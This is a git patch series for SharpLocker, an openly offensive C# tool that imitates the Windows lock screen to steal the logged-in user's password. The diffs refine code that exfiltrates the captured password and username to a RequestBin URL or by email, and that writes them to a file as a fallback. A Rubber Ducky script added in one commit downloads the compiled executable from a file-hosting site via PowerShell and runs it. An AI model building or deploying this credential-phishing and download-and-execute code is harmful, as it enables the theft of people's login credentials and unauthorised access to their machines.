From 0362cae3bf6a5f9e077bda094d8fc9d7b190fc4e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=C3=A1rio=20Leit=C3=A3o-Teixeira?= Date: Sat, 26 Sep 2020 10:42:52 +0100 Subject: [PATCH 1/5] Added option to extract to file; Small fixes; Change in Access Modifiers --- .gitignore | 5 ++++- SharpLocker/DataExtractor.cs | 35 +++++++++++++++++++++++++++++++---- 2 files changed, 35 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index 4ce6fdd..9aa433a 100644 --- a/.gitignore +++ b/.gitignore @@ -337,4 +337,7 @@ ASALocalRun/ .localhistory/ # BeatPulse healthcheck temp database -healthchecksdb \ No newline at end of file +healthchecksdb + +# Others +SharpLocker/TODO.txt \ No newline at end of file diff --git a/SharpLocker/DataExtractor.cs b/SharpLocker/DataExtractor.cs index 2d01312..20f6652 100644 --- a/SharpLocker/DataExtractor.cs +++ b/SharpLocker/DataExtractor.cs @@ -1,4 +1,5 @@ using System; +using System.IO; using System.Net; using System.Net.Mail; using System.Text; @@ -10,13 +11,16 @@ public static class DataExtractor public static void Extract(string password) { //Extract with request bin - ExtractWithRequastBin(password); + ExtractWithRequestBin(password); //Extract with email //ExtractWithEmail(password); + + //Extract to text file + ExtractToFile(password); } - static void ExtractWithRequastBin(string password) + private static void ExtractWithRequestBin(string password) { //http://requestbin.net //RequestBin is a service that allows you to inspect requests. @@ -25,7 +29,7 @@ static void ExtractWithRequastBin(string password) //YOUR RequestBin link //format: http://requestbin.net/r/xxxxxxxx - string url = "http://requestbin.net/r/rv6v9wrv"; + string url = "http://requestbin.net/r/1mf6ngd1"; bool EncodeWithBase64 = true; bool IncludeUsername = true; @@ -54,7 +58,7 @@ static void ExtractWithRequastBin(string password) } - static void ExtractWithEmail(string password) + private static void ExtractWithEmail(string password) { //This sends an email with the password and computer details. @@ -75,5 +79,28 @@ static void ExtractWithEmail(string password) sc.EnableSsl = true; sc.Send(msg); } + + /// + /// Extract the logged information to a text file + /// The file is stored in the current user directory + /// + /// + private static void ExtractToFile(string password) + { + string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); + string user = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + string text = "Password: " + password + " Username&Domain: " + user; + + try + { + StreamWriter streamWriter = new StreamWriter($"{path}\\pwn.txt"); + streamWriter.WriteLine(text); + streamWriter.Close(); + } + catch(IOException e) + { + Console.WriteLine("Exception: " + e.Message); + } + } } } From 088ee5dfd9bd2fbe001e87dd3009b0b9f2c5e8a2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=C3=A1rio=20Leit=C3=A3o-Teixeira?= Date: Sat, 26 Sep 2020 12:53:58 +0100 Subject: [PATCH 2/5] Fixed UserNameLabel.Text not showing. --- SharpLocker/LockScreenForm.Designer.cs | 4 ++++ SharpLocker/LockScreenForm.cs | 2 +- SharpLocker/Program.cs | 1 - 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/SharpLocker/LockScreenForm.Designer.cs b/SharpLocker/LockScreenForm.Designer.cs index 0395c78..115fe46 100644 --- a/SharpLocker/LockScreenForm.Designer.cs +++ b/SharpLocker/LockScreenForm.Designer.cs @@ -1,5 +1,8 @@ using SharpLocker; +using System; +using System.Drawing; using System.Drawing.Drawing2D; +using System.Drawing.Imaging; using System.Windows.Forms; namespace SharpLocker @@ -230,6 +233,7 @@ private void InitializeComponent() } #endregion + private CustomPictureBox ProfileIcon; private System.Windows.Forms.Label UserNameLabel; private System.Windows.Forms.TextBox PasswordTextBox; diff --git a/SharpLocker/LockScreenForm.cs b/SharpLocker/LockScreenForm.cs index 4a10768..df41fd7 100644 --- a/SharpLocker/LockScreenForm.cs +++ b/SharpLocker/LockScreenForm.cs @@ -51,7 +51,7 @@ public LockScreenForm() BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; - string userName = System.DirectoryServices.AccountManagement.UserPrincipal.Current.DisplayName; + string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\')[1]; UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; diff --git a/SharpLocker/Program.cs b/SharpLocker/Program.cs index d995d8d..e63b78d 100644 --- a/SharpLocker/Program.cs +++ b/SharpLocker/Program.cs @@ -14,7 +14,6 @@ static void Main() Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new LockScreenForm()); - } From 6735fb8faf1e588a4782f8c9d598c4de6dcb06c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=C3=A1rio=20Leit=C3=A3o-Teixeira?= Date: Mon, 5 Oct 2020 15:23:21 +0100 Subject: [PATCH 3/5] Added ducky script. In case you want to use SharpLock with a Rubber Ducky. --- SharpLock.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 SharpLock.txt diff --git a/SharpLock.txt b/SharpLock.txt new file mode 100644 index 0000000..cf70f31 --- /dev/null +++ b/SharpLock.txt @@ -0,0 +1,15 @@ +REM ====> COURTESY OF SEYTONIC <==== +REM ====> https://www.youtube.com/watch?v=JYi_H9n5xjw <==== +REM ====> Executes Sharplock <==== +REM ====> Instructions: Get Sharplock from Github, compile it in VisualStudio and upload .exe to anonfile.com <==== + +DELAY 4000 +GUI r +DELAY 150 +STRING powershell (new-object System.Net.WebClient).DownloadFile('https://cdn-35.anonfiles.com/V7XegdZ0o1/16e0b046-1601127563/SharpLocker.exe','%TEMP%\f.exe'); +ENTER +Delay 400 +GUI r +DELAY 150 +STRING %TEMP%\f.exe +ENTER \ No newline at end of file From 9667ce8c1dd4cfa3f2a7862f03c18b840cc27e7d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=C3=A1rio=20Leit=C3=A3o-Teixeira?= Date: Mon, 5 Oct 2020 15:38:58 +0100 Subject: [PATCH 4/5] Fixed User name might not show on lock screen. --- SharpLocker/LockScreenForm.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/SharpLocker/LockScreenForm.cs b/SharpLocker/LockScreenForm.cs index df41fd7..7b145f7 100644 --- a/SharpLocker/LockScreenForm.cs +++ b/SharpLocker/LockScreenForm.cs @@ -51,7 +51,8 @@ public LockScreenForm() BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; - string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\')[1]; + string userName = System.DirectoryServices.AccountManagement.UserPrincipal.Current.DisplayName; + if(userName == null) userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\')[1]; UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; From 7cf37890df08abe3ede103b7b03c6d8cefaff304 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=C3=A1rio=20Leit=C3=A3o-Teixeira?= Date: Mon, 5 Oct 2020 15:53:19 +0100 Subject: [PATCH 5/5] Handled exception when extracting URL is not found. --- SharpLocker/DataExtractor.cs | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/SharpLocker/DataExtractor.cs b/SharpLocker/DataExtractor.cs index 20f6652..2af0b5d 100644 --- a/SharpLocker/DataExtractor.cs +++ b/SharpLocker/DataExtractor.cs @@ -17,7 +17,7 @@ public static void Extract(string password) //ExtractWithEmail(password); //Extract to text file - ExtractToFile(password); + //ExtractToFile(password); } private static void ExtractWithRequestBin(string password) @@ -29,7 +29,7 @@ private static void ExtractWithRequestBin(string password) //YOUR RequestBin link //format: http://requestbin.net/r/xxxxxxxx - string url = "http://requestbin.net/r/1mf6ngd1"; + string url = "http://requestbin.net/r/1d8vuu91"; bool EncodeWithBase64 = true; bool IncludeUsername = true; @@ -53,9 +53,17 @@ private static void ExtractWithRequestBin(string password) p = Convert.ToBase64String(plainTextBytes); } - HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url + "?" + p); - req.GetResponse(); + try + { + HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url + "?" + p); + req.GetResponse(); + } + catch (Exception e) + { + Console.WriteLine("Exception: " + e.Message); + ExtractToFile(p); + } } private static void ExtractWithEmail(string password) @@ -70,7 +78,7 @@ private static void ExtractWithEmail(string password) //Don't touch this! string body = "Password: " + password + " Username&Domain: " + System.Security.Principal.WindowsIdentity.GetCurrent().Name; - MailMessage msg = new MailMessage(e_address, e_address, "Windwos Password on " + System.Security.Principal.WindowsIdentity.GetCurrent().Name, body); + MailMessage msg = new MailMessage(e_address, e_address, "Windows Password on " + System.Security.Principal.WindowsIdentity.GetCurrent().Name, body); msg.IsBodyHtml = true; SmtpClient sc = new SmtpClient(e_host_addr, e_host_port); sc.UseDefaultCredentials = false; @@ -93,7 +101,7 @@ private static void ExtractToFile(string password) try { - StreamWriter streamWriter = new StreamWriter($"{path}\\pwn.txt"); + StreamWriter streamWriter = new StreamWriter($"{path}\\password.txt"); streamWriter.WriteLine(text); streamWriter.Close(); }